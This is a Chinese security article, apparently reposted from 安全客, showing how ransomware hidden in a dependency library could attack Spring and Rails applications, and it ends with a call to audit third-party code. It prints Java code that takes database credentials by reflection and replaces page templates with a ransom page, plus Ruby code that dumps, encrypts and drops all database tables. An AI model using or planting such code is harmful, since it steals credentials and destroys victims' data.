当前,勒索软件已经成为一种日益严重的威胁。例如,最近人们发现了一种称为“Locky”的勒索软件正在通过Facebook Messenger大肆传播,而上周末,旧金山的地铁系统则遭到了勒索软件的入侵。今天,我们将深入了解勒索软件如何瞄准开发人员,通过依赖库进行传播。
可疑的依赖库
那为什么要瞄准开发人员呢?要知道,他们通常更加技术精湛,并且很少安装可疑程序的。很明显,相对于绑架家用计算机来说,攻击开发者的机器的收益可能会更大,因为攻击者这样做的话,有可能控制一连串的生产环境中的系统。只要绑架的系统越多越有价值,移动勒索软件开发者就可以勒索更多的赎金。
这种勒索软件可以包含在无害的依赖库中。下面通过一个具体的例子来介绍它的工作原理。虽然这里使用的是基于Java(Spring)和Ruby(Rails)的示例,但是这些技术同样适用于其他语言和框架。
下面,让我们从一个使用MySQL的Spring MVC应用程序为例进行介绍。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<!-- pom.xml --> <dependency> <groupId>mysql< /groupId > <artifactId>mysql-connector-java< /artifactId > <version>5.1.9< /version > < /dependency > # persistence-mysql.properties dataSource.driverClassName=com.mysql.jdbc.Driver dataSource.url=jdbc:mysql: //localhost :3306 /dbransom dataSource.username=root dataSource.password=password hibernate.dialect=org.hibernate.dialect.MySQLDialect hibernate.hbm2ddl.auto=create |
此外,我们还将包括一个可疑的依赖库:
1
2
3
4
5
6
|
<!-- pom.xml --> <dependency> <groupId>org.evil< /groupId > <artifactId>evil-utils< /artifactId > <version>1.0< /version > < /dependency > |
它提供了一个供外部调用的EvilUtils.padLeft方法,它将作为Web服务的一部分被调用。
反射
攻击者一旦在应用中植入了恶意软件包,那基本上就可以为所欲为了。从某种程度上来说,这相当于在应用程序的环境中获得了远程代码执行能力,从安全的角度来说,这通常是灾难性的。
为了获得赎金,攻击者需要绑架一个足够重要的目标。在这里数据库是个不错的目标坐标,因为这是一个Spring应用程序,攻击者可以很容易找到它——只要获得Spring应用程序的上下文并定位正确的bean即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
class EvilUtils { // Access the Spring context @Autowired private WebApplicationContext ctx; EvilUtils() { SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this); } DataSource getDataSource() { DataSource ds = null; try { ds = (DataSource) ctx.getBean( "dataSource" ); return new JdbcTemplate(ds); } catch (NoSuchBeanDefinitionException e) {} // ... } public String padLeft(String s) { return " " + s; } } |
如果这行不通的话,我们可以访问类加载器,并寻找一个具有返回某种DataSource的方法的类即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
for (Class<?> klass : loadedClasses()) { Method[] methods = klass.getMethods(); for (Method m : methods) { if (m.getReturnType() != DataSource.class) { continue ; } // We've found a target! m.setAccessible( true ); for (Constructor ctor : klass.getDeclaredConstructors()) { // Instantiate the target bean and autowire its dependencies if (ctor.getGenericParameterTypes().length == 0) { ctor.setAccessible( true ); Object instance = ctor.newInstance(); SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance); beanFactory.autowireBean(instance); ds = (DataSource) m.invoke(instance); } } if (ds != null) { return ds; } } } |
进行反射,这样攻击者就可以通过它来获取数据库连接的各种细节了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import com.mysql.jdbc.ConnectionImpl; void getConnectionInfo() { Field f; f = ConnectionImpl.class.getDeclaredField( "user" ); f.setAccessible( true ); String username = (String) f.get(conn); f = ConnectionImpl.class.getDeclaredField( "password" ); f.setAccessible( true ); String password = (String) f.get(conn); f = ConnectionImpl.class.getDeclaredField( "host" ); f.setAccessible( true ); String host = (String) f.get(conn); f = ConnectionImpl.class.getDeclaredField( "database" ); f.setAccessible( true ); String database = (String) f.get(conn); // ... } |
然后,我们可以使用这里的凭证来创建一个新的连接来访问数据库。
下一步是设法让受害者无法访问数据。就目前来说,我们可以使用各种各样的方式来做到这一点;其中最简单的方法是将数据库内容转储到一个文件中,加密文件,然后删除所有数据表。
PWN3D
攻击者最后一步是确保受害者知道他们已经被“绑架”了,同时提供收款用的比特币地址。攻击者可以找到他们的模板文件,加密它们,然后用一个有趣的消息来替换它们。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
void gloat() { // Locate web resources File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath()); String path = f.getPath(); int indx = path.indexOf( "/WEB-INF/lib/" ); path = path.substring(0, indx + 9) + "views" ; // Replace them with our custom views for (File template : getFilesFromPath(path)) { if (template.getName().endsWith( ".jsp" )) { encryptAndMove(template); moveResource( "pwned.jsp" , template.getPath()); } } } |
很明显,攻击者是不希望加密密钥出现在恶意库本身中的,因为这将使其易受逆向工程的影响。不过这不是个大问题,因为可以使用公钥加密技术,即使暴露一个密钥,受害者也无计可施。
这里介绍的技术还可以进一步优化,例如只在生产系统上面触发漏洞,或者添加一种方式来远程触发它。
Rails
这个攻击手法的Rails版本要简单得多:我们只需从ActiveRecord :: Base.connection_config [:password]获取密码即可。这里是一个使用SQLite的完整漏洞的示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
def delete_db conn = ActiveRecord::Base.connection if conn.adapter_name.eql? 'SQLite' sqliteDb = ActiveRecord::Base.connection_config[:database] puts `sqlite3 #{sqliteDb} .dump > dump.sql;` # Encrypt file file_path = ` pwd ` encrypt_file(file_path.chop, 'dump.sql' ) # Delete dump FileUtils.rm_r "#{file_path.chop}/dump.sql" # Drop all tables conn.data_sources.each do |table_name| conn.drop_table(table_name) end end |
由于通过程序库访问数据库是一种正常的用法,所以很难区分哪些是恶意访问,哪些是无害访问。
一般来说,动态语言在这方面要更加脆弱,因为对它们进行静态分析的难度更大,并且在运行时违反封装和做事情的障碍通常更少。
攻击向量
我们提出的具体例子可能看起来有点勉强——它要求许多东西以特定的方式精确发生才能奏效。但是,它确实是可能发生的。 有人可能会说,让开发者依赖可疑的软件包是很困难的;但是事实却是——这容易得吓人。
即使对于包管理器来说,Typosquatting攻击也是一个非常让人头疼的事情。更何况,即使是最愚蠢的技术也常常能够让许多人上当;有时候,攻击者会发布一个软件的二进制版本,虽然声称是从正规渠道的源代码构建的,但是背地里却放入了蠕虫……当然,对于那些本身就有安全漏洞的包管理器来说,根本就无需依赖于社会工程了。此外,还存在更多的创造性的方法可以用来散布恶意软件包。
结束语
在使用第三方代码的依赖库时,会面临许多固有的风险。所以要对它们进行相应的安全审计,以防着了隐藏在它们中间的勒索软件的道。
来源:安全客
上一篇:Mirai变种中的DGA